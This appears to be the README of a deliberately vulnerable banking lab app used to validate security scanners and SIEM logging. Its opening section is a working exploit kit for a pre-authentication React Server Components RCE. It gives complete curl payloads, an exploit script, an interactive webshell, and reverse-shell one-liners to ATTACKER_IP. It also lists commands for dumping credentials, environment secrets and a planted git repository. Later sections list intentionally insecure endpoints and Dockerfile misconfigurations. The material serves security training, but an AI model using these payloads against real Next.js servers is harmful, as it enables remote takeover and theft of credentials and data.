The SpaceATM Terminal runs on Next.js 16.0.6 with React 19.2.0, exposing CVE-2025-55182 (React2Shell pre-authentication RCE) via the RSC Flight protocol deserialisation handler. Any POST request to any route with a Next-Action header triggers the vulnerable code path. No authentication is required.
Based on the OffSec verified PoC. The payload uses the NEXT_REDIRECT error technique to exfiltrate command output directly in the HTTP response. This works from any network location -- loopback, Docker host, or remote machines. The CSRF origin check is patched out during the Docker build (scripts/patch-csrf-origin-check.js).
Run id and exfiltrate output:
curl -s --max-time 5 -X POST http://TARGET:7777/ \
-H "Next-Action: x" \
-H "Content-Type: multipart/form-data; boundary=----Boundary" \
--data-binary $'------Boundary\r\nContent-Disposition: form-data; name="0"\r\n\r\n{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\\"then\\\":\\\"$B1337\\\"}","_response":{"_prefix":"var res=process.mainModule.require(\'child_process\').execSync(\'id\',{timeout:5000}).toString().trim();throw Object.assign(new Error(\'NEXT_REDIRECT\'),{digest:res});","_formData":{"get":"$1:constructor:constructor"}}}\r\n------Boundary\r\nContent-Disposition: form-data; name="1"\r\n\r\n"$@0"\r\n------Boundary--'Expected response (HTTP 500 with command output in digest field):
0:{"a":"$@1","f":"","b":"..."}
1:E{"digest":"uid=0(root) gid=0(root) groups=0(root)"}
Run any command (replace id with your command):
curl -s --max-time 5 -X POST http://TARGET:7777/ \
-H "Next-Action: x" \
-H "Content-Type: multipart/form-data; boundary=----Boundary" \
--data-binary $'------Boundary\r\nContent-Disposition: form-data; name="0"\r\n\r\n{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\\"then\\\":\\\"$B1337\\\"}","_response":{"_prefix":"var res=process.mainModule.require(\'child_process\').execSync(\'cat /etc/passwd\',{timeout:5000}).toString().trim();throw Object.assign(new Error(\'NEXT_REDIRECT\'),{digest:res});","_formData":{"get":"$1:constructor:constructor"}}}\r\n------Boundary\r\nContent-Disposition: form-data; name="1"\r\n\r\n"$@0"\r\n------Boundary--'A Python validation script at scripts/validate-react2shell.py exploits CVE-2025-55182 and exfiltrates command output via the NEXT_REDIRECT error digest. Works from any network location (loopback, Docker host, or remote machines). Payload format based on OffSec and Trend Micro verified PoCs.
# From any machine on the network:
python3 validate-react2shell.py http://TARGET:7777 id
# From the Docker host via docker exec:
docker exec gocortex-broken-bank python3 /app/scripts/validate-react2shell.py http://localhost:7777 id
# Custom commands:
python3 validate-react2shell.py http://TARGET:7777 "cat /etc/passwd"
python3 validate-react2shell.py http://TARGET:7777 "cat /opt/tomcat/conf/tomcat-users.xml"
python3 validate-react2shell.py http://TARGET:7777 envExpected output:
[*] CVE-2025-55182 (React2Shell) Exploit Validation
[*] Target: http://TARGET:7777
[*] Command: id
[*] Sending NEXT_REDIRECT exfiltration payload...
[*] Response status: 500
[+] SUCCESS! Command output via NEXT_REDIRECT exfiltration:
uid=0(root) gid=0(root) groups=0(root)
[+] CVE-2025-55182 RCE CONFIRMED
An interactive webshell script at scripts/react2shell-webshell.py provides a shell-like prompt over HTTP. Each command is sent via the NEXT_REDIRECT payload and the output is printed back. Works from any network location.
python3 react2shell-webshell.py http://TARGET:7777Expected output:
[*] Connecting to target...
[+] Shell established as root@container-id
root@container-id:/app/react-app# id
uid=0(root) gid=0(root) groups=0(root)
root@container-id:/app/react-app# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
root@container-id:/app/react-app# exit
[*] Closing webshell.
Start a listener on the attacker machine, then send the reverse shell payload via curl. Replace ATTACKER_IP and ATTACKER_PORT with your listener address.
Attacker (listener):
nc -lvnp 4444Payload (from any machine -- works in bash and zsh):
# Step 1: Base64-encode the reverse shell command
B64=$(printf 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' | base64)
# Step 2: Build the payload body (printf handles \r\n without $'...' quoting)
PAYLOAD=$(printf '------Boundary\r\nContent-Disposition: form-data; name="0"\r\n\r\n{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"process.mainModule.require('"'"'child_process'"'"').execSync('"'"'echo %s | base64 -d | bash'"'"');","_formData":{"get":"$1:constructor:constructor"}}}\r\n------Boundary\r\nContent-Disposition: form-data; name="1"\r\n\r\n"$@0"\r\n------Boundary--' "$B64")
# Step 3: Send
curl -s --max-time 5 -X POST http://TARGET:7777/ \
-H "Next-Action: x" \
-H "Content-Type: multipart/form-data; boundary=----Boundary" \
--data-binary "$PAYLOAD"Or use the webshell script for a quick reverse shell:
python3 react2shell-webshell.py http://TARGET:7777
root@target:/# bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1Alternative reverse shells (use in the webshell prompt or base64-encode for curl):
- Bash:
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 - Python:
python3 -c "import os,pty,socket;s=socket.socket();s.connect(('ATTACKER_IP',4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn('bash')" - Netcat:
nc -e /bin/bash ATTACKER_IP 4444
Replace TARGET with the container IP or hostname. Replace the command in the curl _prefix field, the script argument, or type directly into the webshell:
id: identify user context (runs as root)cat /etc/passwd: extract system user accountsenv: leak API keys, database credentials, and environment variablescat /app/instance/database.db | strings | head -50: pivot to Flask database, extract user credentialscat /opt/tomcat/conf/tomcat-users.xml: pivot to Tomcat, extract manager credentials
To trigger CI/CD security scans and test your Cortex Cloud Application policies:
- The config/localise.yaml file is the recommended change surface for triggering CI/CD security scans
- Create pull/merge requests with changes to trigger your CI/CD pipeline
- Monitor scan results to validate your security policies are detecting the vulnerabilities
config/localise.yaml - The main configuration file for triggering CI/CD scans:
- Contains application branding and localisation settings
- Includes banking service definitions
- Features Australian-specific configuration (phone numbers, date formats)
- Safe to modify for testing purposes without breaking application functionality
Example modifications to trigger scans:
# Modify support phone number
support_phone: "+61 3 8123 4567"
# Update banking services descriptions
banking_services:
- name: "Personal Banking"
description: "Updated description to trigger CI/CD scan"├── app.py # Main Flask application with vulnerable endpoints
├── models.py # Database models with intentional security flaws
├── config/ # Configuration files
│ ├── localise.yaml # PRIMARY FILE FOR CI/CD TESTING
│ ├── logging.yaml # SIEM log shipping configuration
│ └── anomaly_seeds.yaml # Predictable demo anomalies
├── vulnerable_data/ # Hardcoded secrets and vulnerable configurations
│ ├── config.py # Insecure application configuration
│ └── secrets.py # Hardcoded API keys and credentials
├── templates/ # Banking-themed UI templates
└── static/ # CSS and JavaScript assets
| Endpoint | Vulnerability Type | Description |
|---|---|---|
/search |
SQL Injection | User input directly concatenated into SQL queries |
/comment |
Cross-Site Scripting | Unescaped user input reflected in responses |
/ping |
Command Injection | User input passed to system commands |
/debug |
Information Disclosure | Application configuration and secrets exposed |
/log |
Insecure Logging | User input logged without sanitisation |
/ldap |
LDAP Injection | User input directly concatenated into LDAP queries |
/file |
Path Traversal | Unsafe file path construction with user input |
/hash |
Weak Cryptography | MD5 hashing used for passwords |
/deserialize |
Insecure Deserialisation | Unsafe pickle deserialisation of user data |
CRITICAL SECURITY NOTICE
- DO NOT deploy this application in production environments
- DO NOT use with real customer data
- DO NOT connect to production databases or systems
- Use only in isolated, controlled testing environments
This repository is intentionally insecure. Deploy only in isolated environments and never expose it to unauthorised access.
- Python 3.11+
- Flask framework
- SQLAlchemy
# Application runs on port 5000
# Application available at http://localhost:5000# Pull and run pre-built image from Docker Hub
docker pull gocortexio/gocortexbrokenbank:latest
docker run -d \
--name gocortex-broken-bank \
--restart unless-stopped \
-p 8888:8888 \
-p 9999:8080 \
-e SESSION_SECRET=hardcoded-docker-secret-key \
-e DATABASE_URL=sqlite:///app/instance/gocortexbrokenbank.db \
-e FLASK_ENV=production \
-v ./instance:/app/instance \
gocortexio/gocortexbrokenbank:latest
# Flask/Gunicorn available at http://localhost:8888
# Tomcat/Java exploits available at http://localhost:9999# Using Docker Compose (Recommended)
./deploy.sh
# Or manually:
docker-compose up --build -d
# Flask/Gunicorn available at http://localhost:8888
# Tomcat/Java exploits available at http://localhost:9999# Build and run container (exposes both Flask:8888 and Tomcat:9999)
docker build -t gocortex-broken-bank .
docker run -d -p 8888:8888 -p 9999:8080 --name gocortex-broken-bank gocortex-broken-bank# Run directly on port 8888
gunicorn --bind 0.0.0.0:8888 --workers 1 --reload main:appThe application supports multiple locales through the LOCALE environment variable:
Supported Locales:
en(English/Australian) - Default locale, uses config/localise.yamlkr(Korean) - Uses config/localise.yaml.kr with Korean translations and Won currency symbol
Usage:
# English/Australian locale (default)
gunicorn --bind 0.0.0.0:5000 main:app
# Korean locale
LOCALE=kr gunicorn --bind 0.0.0.0:5000 main:app
# Docker deployment with Korean locale
LOCALE=kr docker run -d -p 8888:8888 -p 9999:8080 -e LOCALE=kr gocortex-broken-bankFallback Behaviour:
- Unknown locale codes default to English (config/localise.yaml)
- Missing locale files automatically fall back to config/localise.yaml
- Locale is set at application startup (not per-request)
Locale-Specific Features:
- Currency symbols ($ for AU, ₩ for KR)
- Date formats and phone number formats
- Banking merchant names (Melbourne-focused for AU, Seoul-focused for KR)
- All UI text and labels fully localised
Version 1.4.0 introduces chained attack validation with 7 multi-step attack scenarios modelled on real-world breaches (MOVEit, Okta, Ivanti). The exposed local git repository enables data exfiltration and credential theft scenarios.
The application creates a vulnerable git repository at startup containing fictional intellectual property and planted secrets for security testing.
Repository Location:
<project_root>/data/projects/mars-banking-initiative/
Contents:
- Project Ares - Fictional Mars Banking Initiative (GoCortex IO and SimonSigre.com collaboration)
- Source code modules: SpaceATM, Mars Gateway, Orbital Auth, Quantum Ledger
- Planted secrets: AWS keys, API tokens, SSH keys, database passwords, JWT secrets
- Confidential documents: Financial projections, patent strategy
Exploitation via Command Injection:
# Discover the repository (find .git directories)
curl "http://localhost:9999/exploit-app/execute?cmd=find+.+-name+.git+-type+d+2>/dev/null"
# Extract credentials (path: ./data/projects/mars-banking-initiative/)
curl "http://localhost:9999/exploit-app/execute?cmd=cat+./data/projects/mars-banking-initiative/config/credentials.json"
# Clone for exfiltration
curl "http://localhost:9999/exploit-app/execute?cmd=git+clone+./data/projects/mars-banking-initiative+/tmp/stolen"MITRE ATT&CK Coverage:
| Technique | ID | Description |
|---|---|---|
| Data from Local System | T1005 | Accessing local files containing sensitive data |
| Unsecured Credentials | T1552 | Credentials stored in configuration files |
| Data from Information Repositories | T1213 | Source code and documentation theft |
For detailed exploitation scenarios, see ENDPOINTS_EXPLOITABILITY.md.
Version 1.3.0 introduces HTTP POST-based log shipping to external SIEM platforms, enabling real-time security event analysis and demo scenarios with predictable anomalies.
The application generates three distinct log streams:
| Log Type | Description | Format |
|---|---|---|
| tomcat_access | Native Tomcat access logs for Java exploit endpoints | Apache Combined Log Format |
| netbank_application | BBWAF security detection events from Flask endpoints | JSON with vendor/product branding |
| netbank_auth | Authentication events (real user activity and simulated traffic) | JSON with simulated flag |
Log shipping is configured via config/logging.yaml:
endpoints:
tomcat_access:
url: ${LOG_ENDPOINT_TOMCAT_ACCESS}
auth:
type: bearer
token: ${LOG_AUTH_TOMCAT_ACCESS}
netbank_application:
url: ${LOG_ENDPOINT_NETBANK_APP}
auth:
type: bearer
token: ${LOG_AUTH_NETBANK_APP}
netbank_auth:
url: ${LOG_ENDPOINT_NETBANK_AUTH}
auth:
type: bearer
token: ${LOG_AUTH_NETBANK_AUTH}Environment Variables:
| Variable | Purpose |
|---|---|
| LOG_ENDPOINT_TOMCAT_ACCESS | HTTP endpoint URL for Tomcat access logs |
| LOG_ENDPOINT_NETBANK_APP | HTTP endpoint URL for BBWAF application logs |
| LOG_ENDPOINT_NETBANK_AUTH | HTTP endpoint URL for authentication logs |
| LOG_AUTH_TOMCAT_ACCESS | Authentication token for tomcat_access endpoint |
| LOG_AUTH_NETBANK_APP | Authentication token for netbank_application endpoint |
| LOG_AUTH_NETBANK_AUTH | Authentication token for netbank_auth endpoint |
Default URL Fallback:
If individual endpoint URLs are not set via environment variables, the log shipper falls back to the defaults section in config/logging.yaml:
defaults:
base_url: "https://api-MYTENANT.xdr.au.paloaltonetworks.com"
path: "/logs/v1/event"
product: "xsiam"This allows you to configure a single base URL for all log types when using a unified SIEM endpoint.
Authentication Methods:
The auth.type field supports:
none- No authentication headerheader- Custom header with raw token value (used by XSIAM)basic- HTTP Basic authentication (base64 encoded)bearer- Bearer token authentication (Authorization: Bearer token)
Note: Cortex XSIAM uses the header type with the API key passed directly in the Authorization header without a "Bearer" prefix.
For demo and testing scenarios, the application seeds predictable anomalies at configurable intervals via config/anomaly_seeds.yaml:
anomaly_config:
frequency_minutes: 10
suspicious_ips:
- ip: "185.220.101.42"
label: "Known Tor exit node"
weight: 3
- ip: "91.240.118.172"
label: "Brute force origin"
weight: 2
suspicious_user_agents:
- agent: "python-requests/2.25.1"
label: "Scripted access (Python)"
weight: 3
- agent: "sqlmap/1.5.2"
label: "SQL injection tool"
weight: 1
normal_traffic:
countries:
- code: "AU"
weight: 70
- code: "KR"
weight: 20
success_rate_percent: 92The anomaly seeding injects suspicious IPs and user agents into the simulated traffic stream at the configured frequency. Weights control the probability of each item being selected when an anomaly is injected.
The application includes a background thread that generates simulated authentication traffic:
- Default rate: 4 events per minute (one every 15 seconds)
- Mix of successful and failed login attempts
- Random usernames generated via Faker library
- Periodic anomaly injection based on configured frequency
- All simulated events marked with
simulated: trueflag
netbank_auth (JSON):
{
"timestamp": "2025-01-15T10:30:45.123Z",
"event_type": "authentication",
"username": "johnsmith",
"action": "login_attempt",
"success": true,
"source_ip": "203.45.67.89",
"user_agent": "Mozilla/5.0...",
"simulated": false
}netbank_application (JSON):
{
"timestamp": "2025-01-15T10:31:02.456Z",
"vendor": "GoCortex",
"product": "BBWAF",
"event_type": "security_detection",
"endpoint": "/api/user/lookup",
"method": "POST",
"source_ip": "192.168.1.100",
"detection": "SQL Injection Attempt",
"severity": "high"
}tomcat_access (Apache Combined):
203.45.67.89 - - [15/Jan/2025:10:32:15 +0000] "POST /upload HTTP/1.1" 200 1234 "-" "Mozilla/5.0..."
To configure log shipping to Palo Alto Networks Cortex XSIAM:
-
Create an HTTP Log Collector in XSIAM:
- Navigate to Settings - Data Collection - HTTP Log Collector
- Create a new collector and note the endpoint URL and API key
-
Set environment variables:
export LOG_ENDPOINT_NETBANK_AUTH="https://api-{tenant}.xdr.{region}.paloaltonetworks.com/logs/v1/event" export LOG_AUTH_NETBANK_AUTH="your-xsiam-api-key"
-
Test connectivity with curl:
curl -X POST https://api-{tenant}.xdr.{region}.paloaltonetworks.com/logs/v1/event \ -H 'Authorization: {api_key}' \ -H 'Content-Type: text/plain' \ -d '{"test": "connection", "timestamp": 1609100113039}'
The XSIAM HTTP Log Collector automatically detects JSON format and parses event fields for querying.
The Dockerfile intentionally violates common container hardening policies to validate IaC and container security controls:
- Vulnerable Base Image: Uses Python 3.11-bookworm
- Insecure Dependencies: Pinned to vulnerable package versions (Flask 2.0.1, PyJWT 1.7.1, Tomcat 8.5.0, Spring 5.3.0, etc.)
- Root User: Runs as root user (security risk)
- Hardcoded Secrets: Environment variables with exposed AWS, OpenAI, and other API credentials
- Excessive Permissions: World-writable directories (chmod 777)
- Dual Application Ports: Exposes port 8888 (Flask/Gunicorn) and port 8080/9999 (Tomcat)
- No SSL/TLS: Unencrypted communications
- Package Vulnerabilities: Mixed vulnerability detection types:
- Direct CVEs: cryptography 39.0.0 (CVE-2023-23931, CVE-2023-0286), requests, urllib3, Tomcat, Spring Framework
- Bundled Dependency CVEs: psycopg2-binary 2.9.6 (OpenSSL, libpq vulnerabilities in bundled libraries)
- Pattern-Based Detection: PyYAML 6.0 (unsafe_load patterns trigger SAST scanners without direct CVEs)
Note: External services (MySQL, PostgreSQL, MongoDB, Redis, LDAP) are mocked within the Flask application rather than deployed as separate containers. This provides vulnerability testing whilst maintaining a single-container deployment for simplicity.
The repository includes Dockerfile.BrokenBank, a dedicated file containing intentional Infrastructure-as-Code (IaC) misconfigurations for security scanner validation. This file is scanned by IaC security tools but includes a failsafe mechanism that prevents accidental builds.
| Policy Category | Misconfigurations Included | Severity |
|---|---|---|
| Certificate Validation Bypasses | curl -k/--insecure, wget --no-check-certificate, pip --trusted-host, PYTHONHTTPSVERIFY=0, NODE_TLS_REJECT_UNAUTHORIZED=0, npm strict-ssl false, git http.sslVerify false | HIGH |
| Package Manager Insecurities | apt --force-yes/--allow-unauthenticated, yum --nogpgcheck, yum sslverify=0, rpm --nosignature, apk --allow-untrusted | HIGH |
| Privilege Escalation | Running as root, sudo usage, chpasswd credential setting | HIGH |
| Hardcoded Credentials | AWS keys, database passwords, API tokens, JWT secrets in ENV | HIGH |
| Missing Security Hardening | No HEALTHCHECK, no WORKDIR, no non-root USER instruction | MEDIUM |
| Base Image Issues | Using :latest tag, deprecated MAINTAINER instruction | MEDIUM |
| Network Exposure | EXPOSE 22 (SSH), database ports exposed | MEDIUM |
| Insecure Patterns | ADD instead of COPY, curl pipe to shell, multiple RUN layers | MEDIUM |
Key Features:
- 30+ distinct IaC policy violations for scanner coverage
- Failsafe mechanism prevents accidental container builds
- Vendor-neutral documentation without scanner-specific references
- Covers certificate validation, package managers, credentials, and hardening gaps
# View logs
docker logs -f gocortex-broken-bank
# Stop application
docker stop gocortex-broken-bank
# Remove container
docker rm gocortex-broken-bank
# Access container shell
docker exec -it gocortex-broken-bank bashFor Kubernetes environments, a deployment manifest is provided in k8s/gocortexbrokenbank.yaml. This manifest creates a dedicated namespace and deploys the pre-built Docker Hub image.
# Deploy to Kubernetes
kubectl apply -f k8s/gocortexbrokenbank.yaml
# Verify deployment
kubectl get pods -n gocortexbrokenbank
# View logs
kubectl logs -f -l app=gocortexbrokenbank -n gocortexbrokenbank
# Access container shell (replace POD_NAME with actual pod name from get pods)
kubectl exec -it POD_NAME -n gocortexbrokenbank -- bash
# Remove deployment
kubectl delete -f k8s/gocortexbrokenbank.yamlThe manifest exposes Flask on port 8888 and Tomcat on port 9999 via hostPort bindings. Hardcoded secrets and environment variables are intentional to maintain the vulnerable application profile for security training.
This project is licensed under the GNU Affero General Public License v3.0 or later (AGPL-3.0-or-later). See the LICENSE file for the full licence text.
This software is provided for security testing and educational purposes only. Use in accordance with your organisation's security testing policies and applicable laws.
Third-party components in static/vendor retain their original licences (MIT for Bootstrap and Feather Icons).
Remember: This is a deliberately vulnerable application. Handle with appropriate security controls and never expose to production environments.

